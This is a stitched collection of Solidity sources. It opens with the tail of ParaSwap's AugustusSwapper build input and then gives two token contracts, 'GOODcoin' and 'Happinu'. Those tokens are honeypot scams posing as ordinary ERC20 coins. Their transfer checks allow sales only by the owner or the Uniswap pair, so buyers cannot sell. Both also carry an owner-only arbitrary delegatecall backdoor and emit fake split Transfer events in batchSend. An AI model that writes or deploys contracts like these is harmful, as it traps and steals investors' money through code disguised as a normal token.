{\n uint256 newAllowance = token.allowance(address(this), spender).sub(value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n\n// File: original_contracts/routers/IRouter.sol\n\npragma solidity 0.7.5;\n\ninterface IRouter {\n\n /**\n * @dev Certain routers/exchanges needs to be initialized.\n * This method will be called from Augustus\n */\n function initialize(bytes calldata data) external;\n\n /**\n * @dev Returns unique identifier for the router\n */\n function getKey() external pure returns(bytes32);\n\n event Swapped(\n bytes16 uuid,\n address initiator,\n address indexed beneficiary,\n address indexed srcToken,\n address indexed destToken,\n uint256 srcAmount,\n uint256 receivedAmount,\n uint256 expectedAmount\n );\n\n event Bought(\n bytes16 uuid,\n address initiator,\n address indexed beneficiary,\n address indexed srcToken,\n address indexed destToken,\n uint256 srcAmount,\n uint256 receivedAmount\n );\n\n event FeeTaken(\n uint256 fee,\n uint256 partnerShare,\n uint256 paraswapShare\n );\n}\n\n// File: original_contracts/ITokenTransferProxy.sol\n\npragma solidity 0.7.5;\n\n\ninterface ITokenTransferProxy {\n\n function transferFrom(\n address token,\n address from,\n address to,\n uint256 amount\n )\n external;\n}\n\n// File: original_contracts/lib/Utils.sol\n\npragma solidity 0.7.5;\npragma experimental ABIEncoderV2;\n\n\n\n\n\ninterface IERC20Permit {\n function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;\n}\n\nlibrary Utils {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n address constant ETH_ADDRESS = address(\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE\n );\n \n uint256 constant MAX_UINT = type(uint256).max;\n\n /**\n * @param fromToken Address of the source token\n * @param fromAmount Amount of source tokens to be swapped\n * @param toAmount Minimum destination token amount expected out of this swap\n * @param expectedAmount Expected amount of destination tokens without slippage\n * @param beneficiary Beneficiary address\n * 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%\n * @param path Route to be taken for this swap to take place\n\n */\n struct SellData {\n address fromToken;\n uint256 fromAmount;\n uint256 toAmount;\n uint256 expectedAmount;\n address payable beneficiary;\n Utils.Path[] path;\n address payable partner;\n uint256 feePercent;\n bytes permit;\n uint256 deadline;\n bytes16 uuid;\n }\n\n struct MegaSwapSellData {\n address fromToken;\n uint256 fromAmount;\n uint256 toAmount;\n uint256 expectedAmount;\n address payable beneficiary;\n Utils.MegaSwapPath[] path;\n address payable partner;\n uint256 feePercent;\n bytes permit;\n uint256 deadline;\n bytes16 uuid;\n }\n\n struct SimpleData {\n address fromToken;\n address toToken;\n uint256 fromAmount;\n uint256 toAmount;\n uint256 expectedAmount;\n address[] callees;\n bytes exchangeData;\n uint256[] startIndexes;\n uint256[] values;\n address payable beneficiary;\n address payable partner;\n uint256 feePercent;\n bytes permit;\n uint256 deadline;\n bytes16 uuid;\n }\n\n struct Adapter {\n address payable adapter;\n uint256 percent;\n uint256 networkFee;\n Route[] route;\n }\n\n struct Route {\n uint256 index;//Adapter at which index needs to be used\n address targetExchange;\n uint percent;\n bytes payload;\n uint256 networkFee;//Network fee is associated with 0xv3 trades\n }\n\n struct MegaSwapPath {\n uint256 fromAmountPercent;\n Path[] path;\n }\n\n struct Path {\n address to;\n uint256 totalNetworkFee;//Network fee is associated with 0xv3 trades\n Adapter[] adapters;\n }\n\n function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}\n\n function maxUint() internal pure returns (uint256) {return MAX_UINT;}\n\n function approve(\n address addressToApprove,\n address token,\n uint256 amount\n ) internal {\n if (token != ETH_ADDRESS) {\n IERC20 _token = IERC20(token);\n\n uint allowance = _token.allowance(address(this), addressToApprove);\n\n if (allowance < amount) {\n _token.safeApprove(addressToApprove, 0);\n _token.safeIncreaseAllowance(addressToApprove, MAX_UINT);\n }\n }\n }\n\n function transferTokens(\n address token,\n address payable destination,\n uint256 amount\n )\n internal\n {\n if (amount > 0) {\n if (token == ETH_ADDRESS) {\n (bool result, ) = destination.call{value: amount, gas: 10000}(\"\");\n require(result, \"Failed to transfer Ether\");\n }\n else {\n IERC20(token).safeTransfer(destination, amount);\n }\n }\n\n }\n\n function tokenBalance(\n address token,\n address account\n )\n internal\n view\n returns (uint256)\n {\n if (token == ETH_ADDRESS) {\n return account.balance;\n } else {\n return IERC20(token).balanceOf(account);\n }\n }\n\n function permit(\n address token,\n bytes memory permit\n )\n internal\n {\n if (permit.length == 32 * 7) {\n (bool success,) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit));\n require(success, \"Permit failed\");\n }\n }\n\n}\n\n// File: original_contracts/adapters/IAdapter.sol\n\npragma solidity 0.7.5;\n\n\n\ninterface IAdapter {\n\n /**\n * @dev Certain adapters needs to be initialized.\n * This method will be called from Augustus\n */\n function initialize(bytes calldata data) external;\n\n /**\n * @dev The function which performs the swap on an exchange.\n * @param fromToken Address of the source token\n * @param toToken Address of the destination token\n * @param fromAmount Amount of source tokens to be swapped\n * @param networkFee Network fee to be used in this router\n * @param route Route to be followed\n */\n function swap(\n IERC20 fromToken,\n IERC20 toToken,\n uint256 fromAmount,\n uint256 networkFee,\n Utils.Route[] calldata route\n )\n external\n payable;\n}\n\n// File: openzeppelin-solidity/contracts/access/Ownable.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor () internal {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}\n\n// File: original_contracts/TokenTransferProxy.sol\n\npragma solidity 0.7.5;\n\n\n\n\n\n\n\n/**\n* @dev Allows owner of the contract to transfer tokens on behalf of user.\n* User will need to approve this contract to spend tokens on his/her behalf\n* on Paraswap platform\n*/\ncontract TokenTransferProxy is Ownable, ITokenTransferProxy {\n using SafeERC20 for IERC20;\n using Address for address;\n\n /**\n * @dev Allows owner of the contract to transfer tokens on user's behalf\n * @dev Swapper contract will be the owner of this contract\n * @param token Address of the token\n * @param from Address from which tokens will be transferred\n * @param to Receipent address of the tokens\n * @param amount Amount of tokens to transfer\n */\n function transferFrom(\n address token,\n address from,\n address to,\n uint256 amount\n )\n external\n override\n onlyOwner\n { \n require(\n from == tx.origin ||\n from.isContract(),\n \"Invalid from address\"\n );\n \n IERC20(token).safeTransferFrom(from, to, amount);\n }\n}\n\n// File: original_contracts/AugustusStorage.sol\n\npragma solidity 0.7.5;\n\n\ncontract AugustusStorage {\n\n struct FeeStructure {\n uint256 partnerShare;\n bool noPositiveSlippage;\n bool positiveSlippageToUser;\n uint16 feePercent;\n string partnerId;\n bytes data;\n }\n\n ITokenTransferProxy internal tokenTransferProxy;\n address payable internal feeWallet;\n \n mapping(address => FeeStructure) internal registeredPartners;\n\n mapping (bytes4 => address) internal selectorVsRouter;\n mapping (bytes32 => bool) internal adapterInitialized;\n mapping (bytes32 => bytes) internal adapterVsData;\n\n mapping (bytes32 => bytes) internal routerData;\n mapping (bytes32 => bool) internal routerInitialized;\n\n\n bytes32 public constant WHITELISTED_ROLE = keccak256(\"WHITELISTED_ROLE\");\n\n bytes32 public constant ROUTER_ROLE = keccak256(\"ROUTER_ROLE\");\n\n}\n\n// File: original_contracts/AugustusSwapper.sol\n\npragma solidity 0.7.5;\n\n\n\n\n\n\n\n\n\n\ncontract AugustusSwapper is AugustusStorage, AccessControl {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n event AdapterInitialized(address indexed adapter);\n\n event RouterInitialized(address indexed router);\n\n /**\n * @dev Throws if called by any account other than the admin.\n */\n modifier onlyAdmin() {\n require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), \"caller is not the admin\");\n _;\n }\n\n constructor(address payable _feeWallet) public {\n TokenTransferProxy lTokenTransferProxy = new TokenTransferProxy();\n tokenTransferProxy = ITokenTransferProxy(lTokenTransferProxy);\n feeWallet = _feeWallet;\n _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);\n }\n \n receive () payable external {\n\n }\n\n fallback() external payable {\n bytes4 selector = msg.sig;\n //Figure out the router contract for the given function\n address implementation = getImplementation(selector);\n if (implementation == address(0)) {\n _revertWithData(\n abi.encodeWithSelector(\n bytes4(keccak256(\"NotImplementedError(bytes4)\")),\n selector\n )\n );\n }\n\n //Delegate call to the router\n (bool success, bytes memory resultData) = implementation.delegatecall(msg.data);\n if (!success) {\n _revertWithData(resultData);\n }\n\n _returnWithData(resultData);\n }\n\n function initializeAdapter(address adapter, bytes calldata data) external onlyAdmin {\n\n require(\n hasRole(WHITELISTED_ROLE, adapter),\n \"Exchange not whitelisted\"\n );\n (bool success,) = adapter.delegatecall(abi.encodeWithSelector(IAdapter.initialize.selector, data));\n require(success, \"Failed to initialize adapter\");\n emit AdapterInitialized(adapter);\n }\n\n function initializeRouter(address router, bytes calldata data) external onlyAdmin {\n\n require(\n hasRole(ROUTER_ROLE, router),\n \"Router not whitelisted\"\n );\n (bool success,) = router.delegatecall(abi.encodeWithSelector(IRouter.initialize.selector, data));\n require(success, \"Failed to initialize router\");\n emit RouterInitialized(router);\n } \n\n \n function getImplementation(bytes4 selector) public view returns(address) {\n return selectorVsRouter[selector];\n }\n\n function getVersion() external pure returns(string memory) {\n return \"5.0.0\";\n }\n\n function getPartnerFeeStructure(address partner) public view returns (FeeStructure memory) {\n return registeredPartners[partner];\n }\n\n function getFeeWallet() external view returns(address) {\n return feeWallet;\n }\n\n function setFeeWallet(address payable _feeWallet) external onlyAdmin {\n require(_feeWallet != address(0), \"Invalid address\");\n feeWallet = _feeWallet;\n }\n\n function registerPartner(\n address partner,\n uint256 _partnerShare,\n bool _noPositiveSlippage,\n bool _positiveSlippageToUser,\n uint16 _feePercent,\n string calldata partnerId,\n bytes calldata _data\n )\n external\n onlyAdmin\n { \n require(partner != address(0), \"Invalid partner\");\n FeeStructure storage feeStructure = registeredPartners[partner];\n require(feeStructure.partnerShare == 0, \"Already registered\");\n require(_partnerShare > 0 && _partnerShare < 10000, \"Invalid values\");\n require(_feePercent <= 10000, \"Invalid values\");\n\n feeStructure.partnerShare = _partnerShare;\n feeStructure.noPositiveSlippage = _noPositiveSlippage;\n feeStructure.positiveSlippageToUser = _positiveSlippageToUser;\n feeStructure.partnerId = partnerId;\n feeStructure.feePercent = _feePercent;\n feeStructure.data = _data;\n }\n\n function setImplementation(bytes4 selector, address implementation) external onlyAdmin {\n require(\n hasRole(ROUTER_ROLE, implementation),\n \"Router is not whitelisted\"\n );\n selectorVsRouter[selector] = implementation;\n }\n\n /**\n * @dev Allows admin of the contract to transfer any tokens which are assigned to the contract\n * This method is for safety if by any chance tokens or ETHs are assigned to the contract by mistake\n * @dev token Address of the token to be transferred\n * @dev destination Recepient of the token\n * @dev amount Amount of tokens to be transferred\n */\n function transferTokens(\n address token,\n address payable destination,\n uint256 amount\n )\n external\n onlyAdmin\n {\n if (amount > 0) {\n if (token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) {\n (bool result, ) = destination.call{value: amount, gas: 10000}(\"\");\n require(result, \"Failed to transfer Ether\");\n }\n else {\n IERC20(token).safeTransfer(destination, amount);\n }\n }\n }\n\n function isAdapterInitialized(bytes32 key) public view returns(bool) {\n return adapterInitialized[key];\n }\n\n function getAdapterData(bytes32 key) public view returns(bytes memory) {\n return adapterVsData[key];\n }\n\n function isRouterInitialized(bytes32 key) public view returns (bool) {\n return routerInitialized[key];\n }\n\n function getRouterData(bytes32 key) public view returns (bytes memory) {\n return routerData[key];\n }\n\n function getTokenTransferProxy() public view returns (address) {\n return address(tokenTransferProxy);\n }\n\n function _revertWithData(bytes memory data) private pure {\n assembly { revert(add(data, 32), mload(data)) }\n }\n\n function _returnWithData(bytes memory data) private pure {\n assembly { return(add(data, 32), mload(data)) }\n }\n\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 1000000 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} } }}
DC1
pragma solidity ^0.5.17; /* GOOD coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GOODcoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Happinu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
